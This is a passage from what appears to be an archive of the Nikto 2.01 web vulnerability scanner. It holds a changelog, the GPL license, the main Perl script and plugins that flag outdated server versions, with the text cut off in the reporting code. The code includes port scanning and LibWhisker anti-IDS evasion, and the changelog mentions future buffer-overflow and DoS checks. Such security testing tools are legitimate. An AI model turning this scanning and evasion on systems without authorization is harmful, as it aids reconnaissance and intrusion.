.plugin, just for clarity. but they're still perl files - allowed nikto.pl to update plugins the same as .db files - usage of LW 1.2 - countless "under the hood" type things - lowercase-incoming-headers to more easily handle case sensitive nonsense - compartmentalized a LOT more code to make things easier to read - created config.txt file configuration w/o midifying nikto.pl itself - added user_scan_database.db so that it won't get ovwr-written if the user adds checks - enabled RFP's LibWhisker anti-ids options - change "check," to "c," in scan_database, just to save a little bandwidth on cirt.net :) - added plugin to check HTTP methods - created a 'mutate' mode for really brute force finding stuff on servers - added the ability to set default CLI options via config file - added PLUGINDIR config variable - added plugin to check other HTTP headers (just x-powered-by for now) - added ability for nikto to auto-determine ssl v non-ssl on a port - added port scanning ability (with or without nmap) - added ability to send message via the update script's versions.txt file. I don't know why, but it may be handy to let folks know if a new beta is out, or something. - implemented the virtual host headers as patched by Pasi Eronen - 01.17.2002 Nikto 1.018 - Added /mpcgi/ to the @CGIDIRS array based on some suggestions. - Fixed a bug in the auth_check function (thanks RFP), and cleaned up error reporting on failed auths - 01.12.2002 Nikto 1.017 - Fixed a bug where the data portion of a request did not reset to null after some checks (thanks to Phil Brass for pointing me at it & letting me test against his server). - 01.10.2002 Nikto 1.016 - Add dump_*hash functions - Added pause (-x) in scan loop - Fixed a bug which caused a major slowdown - Added load_conf for setup for configuration files (future) - Fixed http vs. https links in output files - 01.08.2002 Nikto 1.015 - Fixed a bug (?) in Libwhisker PR4 (will check v1 code...) - Corrected an error which caused a few false-positives (404 really IS not found :) 01.07.2002 Nikto 1.014 - Removed comment filtering from lines in scan_database.db to accommodate SSI includes - Fixed quoting removal for data portions in checks (so " is valid). - 01.06.2002 Nikto 1.013 - Made major globabl variable changes, moved tons of them to hashes - Wrote some basic plugin writing documentation & added 'docs' directory - 01.03.2002 Nikto 1.012 - Added extended output for scan archival reasons (suggested by Steve Saady) - Changed host auth failure to a warning, not stoppage - Added "data" portion to scan_database.db - Added @IP and @HOSTNAME substitutions for scan_database.db checks (will be replaced by actual IP/hostname) - in case they are needed in the future. - Added JUNK() to scan_database.db checks to facilitate future buffer-overflows (non-DoS), and future DoS plugins - Added Proxy-agent as valid the same as Server result strings - Changed -l to -n ("nolookup") to be more accurate - 01.02.2002 Nikto 1.011 - Added proxy auth for db update requests (oops). - Started .xxx version numbering scheme to make life easier - Fixed href tags in HTM output (< and > encoding and target host/ip) - Added "caseless" WWW-Authenticate finding (for iPlanet Proxy) - 12.31.2001 Nikto 1.01 - Added regex to remove comments from scan_database.db in case they ever exist - Fixed extra 'Host:' line being sent to server (duh). - Fixed non 'GET' request data posting (duh). - Added -timeout option - 12.27.2001 Nikto 1.00 - Finalized beta version for release ����������������������������������nikto-2.01/docs/LICENSE.txt�������������������������������������������������������������������������0000664�0000764�0000764�00000027574�10565754426�014460� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS ������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/nikto.pl���������������������������������������������������������������������������������0000775�0000764�0000764�00000022523�10727513506�013346� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/perl #VERSION,2.01 use Getopt::Long; Getopt::Long::Configure('no_ignore_case'); ############################################################################### # Nikto # # --------------------------------------------------------------------------- # # last update: 11.13.2007 # # --------------------------------------------------------------------------- # ############################################################################### # Copyright (C) 2004-2007 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # Contact Information: # Sullo (sullo@cirt.net) # http://cirt.net/ ####################################################################### # See the README.txt and/or help files for more information on how to use & config. # See the LICENSE.txt file for more information on the License Nikto is distributed under. # # This program is intended for use in an authorized manner only, and the author # can not be held liable for anything done with this program, code, or items discovered # with this program's use. ####################################################################### # global var/definitions my $STARTTIME = localtime(); use vars qw/$TEMPLATES %ERRSTRINGS %VERSIONS %CLI %VARIABLES %TESTS $CONTENT %FILES $CURRENT_HOST_ID $CURRENT_PORT/; use vars qw/%REALMS %REALMS_TESTED %NIKTOCONFIG %NIKTO %OUTPUT %SERVER %request %result %COUNTERS/; use vars qw/@KB_MSGS %db_extensions %FoF %UPDATES $DIV %TARGETS @DBFILE @SERVERFILE @BUILDITEMS $PROXYCHECKED/; # setup $DIV = "-" x 75; $NIKTO{version} = "2.01"; $NIKTO{name} = "Nikto"; $NIKTO{configfile} = "config.txt"; ### Change this line if your setup is having trouble finding it $http_eol="\r\n"; # read the --config option { my %optcfg; Getopt::Long::Configure('pass_through', 'noauto_abbrev'); GetOptions(\%optcfg, "config=s"); Getopt::Long::Configure('nopass_through', 'auto_abbrev'); if (defined $optcfg{'config'}) { $NIKTO{configfile} = $optcfg{'config'}; } } load_configs(); find_plugins(); require "$NIKTO{plugindir}/nikto_core.plugin"; ### Change this line if your setup is having trouble finding it nprint("T:$STARTTIME: Starting","d"); require "$NIKTO{plugindir}/nikto_reports.plugin"; ### Change this line if your setup is having trouble finding it require "$NIKTO{plugindir}/nikto_single.plugin"; ### Change this line if your setup is having trouble finding it require "$NIKTO{plugindir}/LW2.pm"; ### Change this line if your setup is having trouble finding it # use LW2; ### Change this line to use a different installed version ($a,$b) = split(/\./, $LW2::VERSION); die("- You must use LW2 2.4 or later\n") if($a != 2 || $b < 4); general_config(); load_databases(); load_databases('u'); LW2::http_init_request(\%request); $request{'whisker'}->{'ssl_save_info'} = 1; $request{'whisker'}->{'lowercase_incoming_headers'} = 1; $request{'whisker'}->{'timeout'} = $CLI{timeout} || 10; if ($CLI{evasion} ne "") { $request{'whisker'}->{'encode_anti_ids'} = $CLI{evasion}; } $request{'User-Agent'} = $NIKTO{useragent}; $request{'whisker'}->{'retry'} = 0; proxy_setup(); open_output(); nprint($DIV); print "- $NIKTO{name} $NIKTO{version}/$NIKTO{core_version} - cirt.net\n"; set_targets(); $PROXYCHECKED = 0; # only do proxy_check once # actual scan for each host/port foreach $CURRENT_HOST_ID (sort { $a <=> $b } keys %TARGETS) { LW2::http_reset(); $COUNTERS{hosts_completed}++; @KB_MSGS = (); if (($CLI{findonly}) && ($COUNTERS{hosts_completed} % 10) eq 0) { nprint("($COUNTERS{hosts_completed} of $COUNTERS{hosts_total})"); } ($TARGETS{$CURRENT_HOST_ID}{hostname}, $TARGETS{$CURRENT_HOST_ID}{ip}, $TARGETS{$CURRENT_HOST_ID}{display_name}) = resolve($TARGETS{$CURRENT_HOST_ID}{ident}); if ($TARGETS{$CURRENT_HOST_ID}{ident} eq "") { next; } port_scan($TARGETS{$CURRENT_HOST_ID}{ports_in}); # make sure we have open ports on this target if (keys(%{$TARGETS{$CURRENT_HOST_ID}{ports}}) eq 0) { nprint("+ No HTTP(s) ports found on $TARGETS{$CURRENT_HOST_ID}{ident} / $TARGETS{$CURRENT_HOST_ID}{ports_in}","","kb"); } $request{'whisker'}->{'host'} = $TARGETS{$CURRENT_HOST_ID}{hostname} || $TARGETS{$CURRENT_HOST_ID}{ip}; if ($TARGETS{$CURRENT_HOST_ID}{vhost} ne '') { $request{'Host'}=$TARGETS{$CURRENT_HOST_ID}{vhost}; } foreach $CURRENT_PORT (keys %{ $TARGETS{$CURRENT_HOST_ID}{ports} }) { if ($CURRENT_PORT eq "") { next; } $request{'whisker'}->{'port'} = $CURRENT_PORT; $request{'whisker'}->{'ssl'} = $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{ssl}; $request{'whisker'}->{'version'} = $NIKTOCONFIG{DEFAULTHTTPVER}; if ($NIKTOCONFIG{'STATIC-COOKIE'} ne "") { $request{'Cookie'} = $NIKTOCONFIG{'STATIC-COOKIE'}; } get_banner(); if ($CLI{findonly}) { my $protocol = "http"; if ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner} eq "") { $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner} = "(no identification possible)"; } if ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{ssl}) { $protocol .= "s"; } nprint("+ Server: $protocol://$TARGETS{$CURRENT_HOST_ID}{display_name}:$CURRENT_PORT\t$TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}"); } else { dump_target_info(); %FoF = (); $TARGETS{$CURRENT_HOST_ID}{total_vulns} = 0; auth_check(); check_cgi(); set_scan_items(); map_codes(); run_plugins(); test_target(); } write_kbase(next_kbase_id()); write_output(); } } nprint("+ $COUNTERS{hosts_total} host(s) tested"); send_updates(); close_output(); nprint("T:" . localtime() . ": Ending","d"); exit; ################################################################################# #### Most code is now in nikto_core.plugin #### ################################################################################# # load config file sub load_configs { open(CONF, "<$NIKTO{configfile}") || print STDERR "- ERROR: Unable to open config file '$NIKTO{configfile}' ($!), only 1 CGI directory defined.\n"; my @CONFILE = <CONF>; close(CONF); foreach my $line (@CONFILE) { $line =~ s/\#.*$//; chomp($line); $line =~ s/\s+$//; $line =~ s/^\s+//; if ($line eq "") { next; } my @temp = split(/=/, $line, 2); if ($temp[0] ne "") { $NIKTOCONFIG{ $temp[0] } = $temp[1]; } } # add CONFIG{CLIOPTS} to ARGV if defined... if ($NIKTOCONFIG{CLIOPTS} ne "") { my @t = split(/ /, $NIKTOCONFIG{CLIOPTS}); foreach my $c (@t) { push(@ARGV, $c); } } return; } ################################################################################# # find plugins directory sub find_plugins { # get the correct path to 'plugins' # if defined in config.txt file... most accurate, we hope if (($NIKTOCONFIG{EXECDIR} ne "") && (-d "$NIKTOCONFIG{EXECDIR}/plugins")) { $NIKTO{execdir} = $NIKTOCONFIG{EXECDIR}; $NIKTO{plugindir} = "$NIKTO{execdir}/plugins"; $NIKTO{templatedir} = "$NIKTO{execdir}/templates"; } if ($NIKTO{execdir} eq "") { # try pwd if (-d "$ENV{PWD}/plugins") { $NIKTO{execdir} = $ENV{PWD}; $NIKTO{plugindir} = "$NIKTO{execdir}/plugins"; $NIKTO{templatedir} = "$NIKTO{execdir}/templates"; } else { # try $0 my $EXECDIR = $0; chomp($EXECDIR); $EXECDIR =~ s/\/nikto.pl$//; if (-d "$EXECDIR/plugins") { $NIKTO{execdir} = $EXECDIR; $NIKTO{plugindir} = "$NIKTO{execdir}/plugins"; $NIKTO{templatedir} = "$NIKTO{execdir}/templates"; } } if ($NIKTO{execdir} eq "") { # try ./ $NIKTO{execdir}= "./"; $NIKTO{plugindir} = "$NIKTO{execdir}/plugins"; $NIKTO{templatedir} = "$NIKTO{execdir}/templates"; } } if (!(-d $NIKTO{plugindir})) { print STDERR "I can't find 'plugins' directory. I looked around:\n"; print STDERR "\t$CONFIG{PLUGINDIR}\n\t$ENV{PWD}\n\t$0\n"; print STDERR "Try: switch to the 'nikto' base dir, or\n"; print STDERR "Try: set PLUGINDIR in config.txt\n"; exit; } $NIKTO{kbase} = "$NIKTO{execdir}/kbase/nikto.kbase"; ### Change this line if you would like to use another KB return; } ################################################################################# �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/���������������������������������������������������������������������������������0000775�0000764�0000764�00000000000�10727513545�013342� 5����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_outdated.plugin������������������������������������������������������������0000664�0000764�0000764�00000014451�10717436030�017574� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.01 #LASTMOD,11.16.2007 ############################################################################### # Copyright (C) 2006 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Check for outdated items in banner ############################################################################### # NOTES # the stripping of letters from version numbers could be done better # versions are loaded from the "db_outdated" file, which should be in the # plugins directory we cheat, as apache is the main one that uses spaces for # loaded modules... if there are others we'll have to hard code them ############################################################################### sub nikto_outdated { # populate @BUILDITEMS with appropriate values # if Apache, split on space... if ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner} =~ /apache/i) { push(@BUILDITEMS, (split(/ /, $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}))); } elsif ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner} =~ /weblogic/i) # strip all the date info... { my @T = split(/ /, $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}); push(@BUILDITEMS, "$T[0]\/$T[1]"); } elsif ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner} =~ /sitescope/i) # strip all the date info... { my @T = split(/ /, $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}); push(@BUILDITEMS, "$T[0]"); } else { if ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner} !~ /\s/) # has no spaces { $MATCHSTRING = $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}; } elsif ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner} =~ /\//) # has spaces and / sepr { $MATCHSTRING = $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}; $MATCHSTRING =~ s/\s+//g; } else # must create sepr { # use the last non 0-9 . a-z char as a sepr (' ', '-', '_' etc) my $sepr = $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}; $sepr =~ s/[a-zA-Z0-9\.\(\)]//gi; $sepr = substr($sepr, (length($sepr) - 1), 1); # $sepr=~ s/\s+/ /g; # break up ID string on $sepr my @T = split(/$sepr/, $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}); # assume last is version... for ($i = 0 ; $i < $#T ; $i++) { $MATCHSTRING .= "$T[$i] "; } } $MATCHSTRING =~ s/\s+$//; #$MATCHSTRING =~ s/[\(\)]//g; push(@BUILDITEMS, $MATCHSTRING); nprint("Server Version String:$MATCHSTRING", "d"); } my ($v, $V, $BI, $k) = ""; foreach $BI (@BUILDITEMS) { my $have_match = 0; foreach $V (sort keys %OVERS) { if ($V eq "") { next; } if ($BI =~ /^$V/i) # software name matched { $have_match = 1; foreach $k (keys %{ $OVERS{$V} }) { if ($k eq "") { next; } $v = $k; } if (vereval($v, $BI, $V)) # version check { my $msg = $OVERS{$V}{$v}; $msg =~ s/\@RUNNING_VER/$BI/g; $msg =~ s/\@CURRENT_VER/$v/g; chomp($msg); nprint("+ $msg", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } } } if (!$have_match) { $UPDATES{$BI} = 1; } } return; } sub vereval { # split both by last char of @_[0], as it is the name to version separator my $sepr = substr($_[2], (length($sepr) - 1), 1); nprint("nikto_outdated.plugin: verstring: $_[2], sepr:$sepr", "d"); $CURRENT = lc($_[0]); $RUNNING = lc($_[1]); nprint("nikto_outdated.plugin: \$CURRENT:$CURRENT:\$RUNNING:$RUNNING:", "d"); my @T = split(/$sepr/, $CURRENT); my $CURRENT = $T[$#T]; # should be version... @T = split(/$sepr/, $RUNNING); my $RUNNING = $T[$#T]; # should be version... # convert alphas to numerics so we can do a real comparison $CURRENT =~ s/([^0-9\.]){1}/"." . ord($1) . "."/eg; $RUNNING =~ s/([^0-9\.]){1}/"." . ord($1) . "."/eg; $RUNNING =~ s/\.+/\./g; $CURRENT =~ s/\.+/\./g; $RUNNING =~ s/^\.//; $CURRENT =~ s/^\.//; $RUNNING =~ s/\.$//; $CURRENT =~ s/\.$//; nprint("nikto_outdated.plugin: \$CURRENT:$CURRENT:\$RUNNING:$RUNNING\: (after numberifcation)", "d"); if (($CUR_ORIG !~ /[a-zA-Z]/) && ($RUN_ORIG !~ /[a-zA-Z]/)) { @CUR = split(/\./, $CURRENT); @RUN = split(/\./, $RUNNING); } else { @CUR = split(//, $CURRENT); @RUN = split(//, $RUNNING); } # start with 0... eval each in turn... for (my $i = 0 ; $i <= $#CUR ; $i++) { nprint("nikto_outdated.plugin: major compare: \$CUR[$i]:$CUR[$i]: \$RUN[$i]:$RUN[$i]:", "d"); if ($CUR[$i] > $RUN[$i]) { return 1; } # running is older if (($CUR[$i] ne "") && ($RUN[$i] eq "")) { return 1; } # running is older if ($CUR[$i] < $RUN[$i]) # running is newer { my $string = $_[1]; $string =~ s/\s/\%20/g; $UPDATES{$string} = 1; return 0; } } return 0; # running is the same version if we make it here } 1; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_msgs.plugin����������������������������������������������������������������0000664�0000764�0000764�00000003455�10717436030�016736� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.01 #LASTMOD,11.16.2007 ############################################################################### # Copyright (C) 2006 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Various messages relating to the server banner ############################################################################### # NOTES # versions are loaded from the "db_server_msgs" file, which should be in the # plugins directory this plugin checks the server version to see if there are # any version specific items in the4 db_server_msgs this differs from # nikto_outdated because that is ONLY checking to see if it is an old version, # whereas this checks to see if the versions match ############################################################################### sub nikto_msgs { foreach my $VER (keys %VERSIONS) { if ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner} =~ /($VER)/i) { nprint("+ $1 - $VERSIONS{$VER}", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } } return; } 1; �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/db_servers�����������������������������������������������������������������������0000664�0000764�0000764�00000003154�10715340347�015421� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.000 #LASTMOD,11.10.2007 # http://www.cirt.net # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from CIRT, Inc. # (c) 2007 CIRT, Inc., All Rights Reserved. # By sending any database updates to CIRT, Inc., it is assumed that you # grant CIRT, Inc., the unlimited, non-exclusive right to reuse, modify and relicense the changes. ######################################################################## # Server categories: "category","match-string" ######################################################################## "abyss","abyss" "alchemyeye","Alchemy Eye" "apache","apache" "apache","apache-coyote" "apache","infrastructure" "apache","jakarta" "apache","tomcat" "apache","IBM_HTTP_SERVER" "cern","cern" "citrix","citrix" "compaq","CompaqHTTPServer" "dhost","dhost" "dhost","httpstk" "dwhttpd","dwhttpd" "goaheadwebs","GoAhead-Webs" "iis","iis" "iis","online" "iis","personal web" "iis","pws" "iis","speleoweb" "jeus","Jeus WebContainer" "jeus","WebtoB" "jrun","jrun" "lotus","domino" "lotus","lotus" "mipcd","mofet" "msmfc","MS-MFC-HttpSvr" "mycio","mycio" "mywebserver","mywebserver" "ncsa","ncsa" "netapp","NetApp" "netscape","iplanet" "netscape","netscape" "netscape","Sun-ONE-Web-Server" "novell","netware" "novell","novell" "omnihttpd","OmniHTTPd" "oracle","oracle" "sambar","Sambar" "savant","Savant" "simpleserver","SimpleServer" "sun","Sun_WebServer" "tivo","Tivo Calypso" "tivoli","ADSM_HTTP" "w4","w4" "wasd","HTTPd-WASD" "weblogic","weblogic" "webserver4d","Web_Server_4D" "website","website" "zeus","zeus" ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_reports.plugin�������������������������������������������������������������0000664�0000764�0000764�00000025144�10715623457�017473� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.00 #LASTMOD,11.10.2007 ############################################################################### # Copyright (C) 2007 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Reporting ############################################################################### sub open_output { if ($CLI{file} eq "") { return; } open(OUT, ">>$CLI{file}") || die print STDERR "+ ERROR: Unable to open '$CLI{file}' for write: $@\n"; select(OUT); $|++; select(STDERR); $|++; select(STDOUT); $|++; if ($CLI{format} =~ /^html?/i) { open_templates(); print OUT $TEMPLATES{htm_start}; } elsif ($CLI{format} =~ /^txt/i) { print OUT "- $NIKTO{name} v$NIKTO{version}/$NIKTO{core_version}\n"; } elsif ($CLI{format} =~ /^csv/i) { print OUT "\"$NIKTO{name} v$NIKTO{version}\",\"Core v$NIKTO{core_version}\"\n"; } return; } ############################################################################### sub close_output { if ($CLI{format} =~ /^txt/i) { print OUT "\nTest Options: $CLI{all_options}\n"; print OUT "$DIV\n"; } elsif ($CLI{format} =~ 